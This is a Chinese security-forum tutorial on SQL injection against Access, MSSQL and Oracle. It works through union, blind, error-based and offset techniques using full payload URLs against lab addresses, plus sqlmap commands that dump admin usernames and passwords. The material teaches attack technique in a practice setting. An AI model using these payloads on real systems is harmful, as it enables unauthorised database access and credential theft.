用户
搜索
  • TA的每日心情
    开心
    4 天前
  • 签到天数: 21 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    6

    主题

    9

    帖子

    383

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-5-14 14:54:35 04133
    本帖最后由 C1ay666 于 2021-5-14 14:58 编辑

    一、Access数据库
    Access数据库结构(access只有一个数据库);
    Access数据库
    表名
                    列名
                                    数据
    一、access联合查询注入
    优点:快速
    缺点:如果SQL语句不常规,该方法无效
    1、判断注入点
    这里不用多说,前面也讲了太多了联合查询注入了。
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 正常
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 错误
    2、查询字段个数
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 order by 21 正常
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 正常
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 错误
    3、猜表名
    这里主要是猜下有没有admin这个表?猜表名需要一定的耐心和运气。
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
    发现数据在3,15回显
    4、猜列名爆数据
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
    因为我这里是演示,而且程序是我自己开发的,我当然清楚表名以及列名,我们通常在实战中,access表名和列名猜解成功率不会是100%,accesss表名和列名猜解不到怎么办?有什么解决方法吗?
    以下给大家提供简单的几种思路:
    • 字典文件收集(社工)
    • Access偏移注入
    • 工具猜解字典文件设置:

    问:Access表名获取怎么办?
    答:社工,对比网站url地址
    表名有可能是:pw_admin,pw_manage,pw_system
    问:Accesss列名获取失败怎么办?
    答:Access偏移注入、社工、后台源码中参数名
    二、access逐字猜解注入
    access逐字猜解兼容性好,工具一般都采用这种方法。
    1、查表名:and exists(select * from 表名)
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin)
    回显正常,说明存在admin表
    2、查列名:and exists(select 列名 from 表名)
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin)
    回显正常,说明admin表存在password这个列
    3、查列名数据
    第一步:确定列名数据的长度;这里是指admin这个列名。
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(admin) from admin)>5 错误
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(admin) from admin)<5 错误
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(admin) from admin)=5 正确

    参数解释:top x 表示从表中取出几行数据 例如top 1表示取出第一行 top 2表示取出前两行数据
            len函数用于判断长度
    第二步:确定ASC数据(asc编码)
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(列名,位数,1) from admin)<=97
    参数解释:asc函数返回的是字符的ascii码值
            mid函数是用来截取指定位数的字符
    猜解第一位数据:
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 正常
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=98 错误
    从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
    查询第二行admin列的长度
    and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
    下面是查询第2条数据的第3个字符
    and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
    查询第三条数据的4个字符
    and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55
    说明admin列名第一位值的ASCII编码是97,也就是a;
    猜解第二位数据,依次类推.......

    三、access偏移注入
    Access偏移注入:表名知道,列名无法获取的情况下。
    1、判断注入点
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 正常
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 错误
    2、查询字段个数
    127.0.0.1/asp/index.asp?id=1513 order by 22 正常
    127.0.0.1/asp/index.asp?id=1513 order by 23 错误
    3、爆出显位
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
    4、判断表内存在的字段个数
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
    直到......
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
    说明了admin表下有6个字段;
    用*代表 admin 表的字段数,计算代替字符的位数。
    Access偏移注入原理,基本公式为:
    order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
    也就是:
    * = 6个字符
    2 × * = 12个字符
    22 - 12 = 10个字符
    5、爆列名数据
    一级偏移语句:
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
    如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
    二级偏移语句:
    http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
    注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
    Access注入工具:啊D、明小子、穿山甲、萝卜头havij、sqlmap......等等。
    Access工具注入的特点:支持多种注入类型,注入突破类型,工具速度等问题。
    四、通过sqlmap爆数据
    1、爆破数据表
    python2 sqlmap.py -u "http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513" --tables
    2、爆破admin表的列
    python2 sqlmap.py -u "http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513" -T admin --columns
    3、爆破admin,password列的数据
    python2 sqlmap.py -u "http://10.10.10.132:8080/Production/PRODUCT_DETAIL.asp?id=1513" -T admin -C admin,password --dump
    二、mssql数据库一、内置函数
    1.host_name():返回服务器端计算机名称
    2.current_user:返回当前数据库的用户名
    3.db_name():返回数据库名
    4.subString():字符串截取函数
    5.CHAR():ascii转字符函数
    6.@@version:查看数据库版本
    7.ISNULL():判断查询是否带有NULL,有则替换
    8.CAST(a as type)字符类型转换,如果转换失败,将结果显示在页面上
    9.object_id():根据表名返回数据库表名ID
    10.object_name:根据id返回数据库表名ID
    11.col_name ( object_id , column_ id)函数:返回指定表中指定字段(列)的名称
    二、内置系统表Sysdatabases表:该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息

    Sysobjects表: SQL-SERVER的 每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
    Name,id, xtype, uid, status: 分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
    当xtype='U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。

    Syscolumns表:该表位于每个数据库中。主要字段有: name, id, colid: 分别是字段名称,表ID号,字段ID号,其中的ID是用sysobjects得到的表的ID号
    sysdatabases表,name列存放着数据库名,并且该表只存在master数据库。
    sysobjects表,name列存放着数据库的所有的表名,存在于所有的数据库下。xtype='U'代表是用户建立的表。
    syscolumns表,name列存放着数据库的所有的列名,存在于所有的数据库下。
    三、mssql联合查询
            UNION操作符是实现联合查询的关键​        UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。当UNION之 前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。
    判断列数:order by N
    判断数据回显位置:union select
        union select:会把重复项去除
        union all select:全显示;
        union select null,null,null..
    获取任一行的方式
        从第m行开始,取n行结果:
        select top n username from users where username not in (select top m username
        from users);
        多个列拼接到一个列查询的方式的方式
        select username+'.'+password from users;
    联合查询语句构造步骤:
    示例:
    1、闭合查询语句
    输入1         正常
    输入1'        报错
    输入1%'--     正常
    2、判断原有语句的列数
    输入1%' order by 6--      正常
    输入1%' order by 7--      报错
    说明共有6列
    3、使原来查询语句为空,判断回显位置
    输入-1%' union select 1,2,3,4,5,6--       报错:text与int不兼容
    输入-1%' union select '1','2','3','4',5,6 --  报错:text 数据类型不能选为 DISTINCT,因为它不可比
    输入-1%' union all select '1','2','3','4',5,6--       正常
    说明mssql使用联合查询时,union后的数据列数要与原来的一致,数据类型均要与原来相似,且不能过滤重复项。
    4、获取数据库名
    输入-1%' union all select '1',db_name(),'3','4',5,6--
    数据库为:ST_WebCourse
    获取所有数据库名:-1%' union all select '1',name,'3','4',5,6 from master..sysdatabases --
    5、获取所有数据表
    输入:-1%' union all select '1',name,'3','4',5,6 from ST_WebCourse..sysobjects where xtype='U'--
    关键表:ST_admin
    6、获取关键表的列名信息
    输入:-1%' union all select '1',name,'3','4',5,6 from ST_WebCourse..syscolumns where id=(select id from ST_WebCourse..sysobjects where name='ST_admin')--
    输入:-1%' union all select '1',name,'3','4',5,6 from ST_WebCourse..syscolumns where id=object_id('ST_admin') --
    7、查询账号密码
    查询账号:-1%' union all select '1',admin,'3','4',5,6 from ST_admin --
    查询密码:-1%' union all select '1',pass,'3','4',5,6 from ST_admin --
    用户名密码一致
    8、尝试登陆

    四、mssql报错注入
    构造报错注入语句的基本步骤
    示例:
    常见报错注入方式:mssq|数据库对我们输入的语句进行查询的时候,通过int数据类型转换出错,回显出我们需要的结果常见拼接方式:通过判断原始条件真,用and拼接注入语句
    1、判断数据库版本信息
    1%' and 1=(select @@version) --
    2、判断当前数据库用户
    1%' and 1=(select current_user) --
    3、获取数据库名信息
    1%' and 1=(select top 1 name from master..sysdatabases where name not in (select top 0 name from master..sysdatabases)) --
    4、获取当前数据库名信息
    1%' and 1=(select db_name()) --
    数据库名:ST_WebCourse
    5、获取关键数据库中的表名信息
    1%' and 1=(select top 1 name from ST_WebCourse..sysobjects where xtype='U' and name not in (select top 0 name from ST_WebCourse..sysobjects where xtype='U')) --
    数据表为:ST_admin
    6、获取关键数据表中的列名信息
    1%' and 1=(select top 1 name from ST_WebCourse..syscolumns where id=object_id('ST_admin') and name not in (select top 2 name from ST_WebCourse..syscolumns where id=object_id('ST_admin'))) --
    数据列为:id,admin,pass
    7、获取关键表中关键字段的值
    1%' and 1=(select top 1 pass from ST_admin where pass not in (select top 1 pass from ST_admin)) --
    五、mssql盲注
    布尔型盲注提取数据的基本步骤:
    示例:
    常用拼接方式: .判断原始条件真,可利用and进行拼接注入语句,如果使用or则需要是前面的查询语句为假。如,http://192.168.159.110:83/artshow.aspx?id=-1 or 1=1使id的值为负数或0。
    1、获取数据库的数量
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from master..sysdatabases)>7 错误
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from master..sysdatabases)=6 正确
    说明共有6个数据库
    2、获取当前数据库的信息
    http://192.168.159.110:83/artshow.aspx?id=1 and substring((select db_name()),1,1)=CHAR(106)
    数据库为:jiaofan
    3、获取关键数据库中的表的数量信息
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from jiaofan..sysobjects where xtype=0x55)>25      正常
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from jiaofan..sysobjects where xtype=0x55)>26      报错
    说明一共有26个表
    4、获取数据库中的表名信息
    http://192.168.159.110:83/artshow.aspx?id=1 and ascii(substring((select top 1 name from sysobjects where xtype=0x55 and name not in (select top 1 name from sysobjects where xtype=0x55)),1,1))=115
    sl_admin
    5、获取关键数据表中的列数
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from jiaofan..syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))>4 正常
    http://192.168.159.110:83/artshow.aspx?id=1 and (select count(*) from jiaofan..syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))>5 报错
    说明一共有5列
    6、获取关键数据表的列名
    http://192.168.159.110:83/artshow.aspx?id=1 and ascii(substring((select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00) and name not in (select top 1 name from syscolumns where id=object_id(0x73006C005F00610064006D0069006E00))),1,1))>50
    7、获取关键数据的值
    http://192.168.159.110:83/artshow.aspx?id=1 and ascii(substring((select top 1 u1 from sl_admin where u1 not in (select top 0 u1 from sl_admin)),1,1))=99
    爆破可得u1的值为:cdsile
    三、oracle数据库一、基础知识
    1、特殊表        dual表                        是一个虚拟的表,用来构成select的语法规则,oracle保证dual里面永远只有一 条记录。        user_tables表                        该表的table_name列存放着当前数据库的所有表。        user_ tab_ columns表                        该表的column_ name存放着表的所有列2、Oracle查询需要带上表名        如select * from xxx (有一个万能的表: dual表)
    3、单行子查询返回多行需使用where rownum= 1来规范        rownum是伪序列数,总是从1开始        oracle数据库从数据文件或缓冲区中读取数据的顺序。        它取得第一条记录则rownum值为1,第二条为2,依次类推。
    4、获取数据类
            获取数据库版本
                    select banner from sys.v_ $version where rownum=1;
            获取当前会话的登录名
                    select user from dual
            获取所有用户名
                    select username from dba_users
    5、内置函数
            lenth()用法:​                lenth(char) :返回字符串的长度​        COUNT()用法:​                COUNT(*)函数,返回在给定的选择中被选的行数​        ascii()用法:​                ascii(char)表示将字符转换为ASCII码​        SUBSTR用法:​                SUBSTR(源字符串,查找起始位置, [长度] )返回值为源字符串中指定起始位置和长度的字符串。​        INSTR用法:​                INSTR(源字符串,要查找的字符串,从第几个字符开始,要找到第几个匹配的序号)返回找到的位置,如果找不到则返回0.默认查找顺序为从左到右。当起始位置为负数的时候,从右边开始查找。若起始位置为0,返回值为0。
    6、字符串拼接
            使用 || 来进行字符串拼接
                    select 'a'||'d'||'m'||'i'||'n' from dual;
            使用sys.stragg()函数(11g+ )来在单行中获取所有行信息
                    select  sys.stragg(distinct username || '、') from all_users--
    二、oracle联合查询
    • 判断数据库列数
      • order by N

    • 判断数据库回显位置
      • union select null,null,null,null,... from dual

    • 获取任意1行数据
      • rownum=1
      • 逐行排除


    1、判断是否存在sql注入漏洞
    1' and 1=1 -- 正常
    1' and 1=2 -- 错误
    说明存在SQL注入漏洞
    2、判断列数
    1' order by 3 -- 正常
    1' order by 4 -- 报错
    说明存在三列数据
    3、判断回显位置
    1' union select '1','2','3' from dual --
    发现所有列的位置均回显
    4、获取当前数据库的所有表名
    1' union select table_name,'2','3' from user_tables where rownum=1 --
    1' union select table_name,'2','3' from user_tables where rownum=1 and table_name <> 'T_USER' --
    5、获取当前数据库的所有列名
    若结果能够多行显示则可以看到所有列名
    1' union select column_name,'2','3' from user_tab_columns where table_name='T_USER' --
    若结果只能当行显示则使用rownum配合<>进行查看
    1' union select column_name,'2','3' from user_tab_columns where table_name='T_USER' and rownum=1 and column_name<>'SUSER' --
    1' union select column_name,'2','3' from user_tab_columns where table_name='T_USER' and rownum=1 and column_name<>'SUSER' and column_name<>'SPWD' --
    直至为空,停止遍历即可。
    6、获取T_USER表中字段SNAME、SUSER、SPWD的值
    1' union select SNAME,SUSER,SPWD from T_USER --

    三、oracle报错注入
    • 使用条件: HTTP返回包中含有原始数据库的报错信息。
    • Oracle报错注入——类型转换错误和报错函数。
    • 1=utl_ inaddr.get_host_name((SQL语句))
    • 查询结果: ORA-29257: 未知的主机结果

    1、获取表名信息
    1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
    1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name<>'T_USER')) --
    若报错显示的是无效数字则表示该数据库只有一张表
    2、获取列名信息
    1' and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1)) --
    and column_name<>'T_USER')
    1' and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1 and column_name<>'SUSER')) --
    1' and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1 and column_name<>'SUSER' and column_name<>'SPWD')) --
    3、获取数据
    1' and 1=utl_inaddr.get_host_name((select sys.stragg(SUSER)||sys.stragg(SPWD)||sys.stragg(SNAME) from T_USER)) --
    四、oracle盲注
    • 使用条件: HTTP返回包中没有执行结果的数据和报错信息。
    • Oracle盲注核心——字符串截取函数、 ascii转换函数、 条件判断语句。

    1、获取数据表
    1' and ascii(substr((select table_name from user_tables where rownum=1),1,1))=84 --
    放入burp爆破即可
    2、获取数据列
    1' and ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='T_USER'),1,1))=81 --
    通过rownum和<>控制行数
    3、获取数据
    1' and ascii(substr((select SPWD from T_USER where rownum=1),1,1))=114 --
    通过rownum和<>控制行数通过burp爆破即可

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册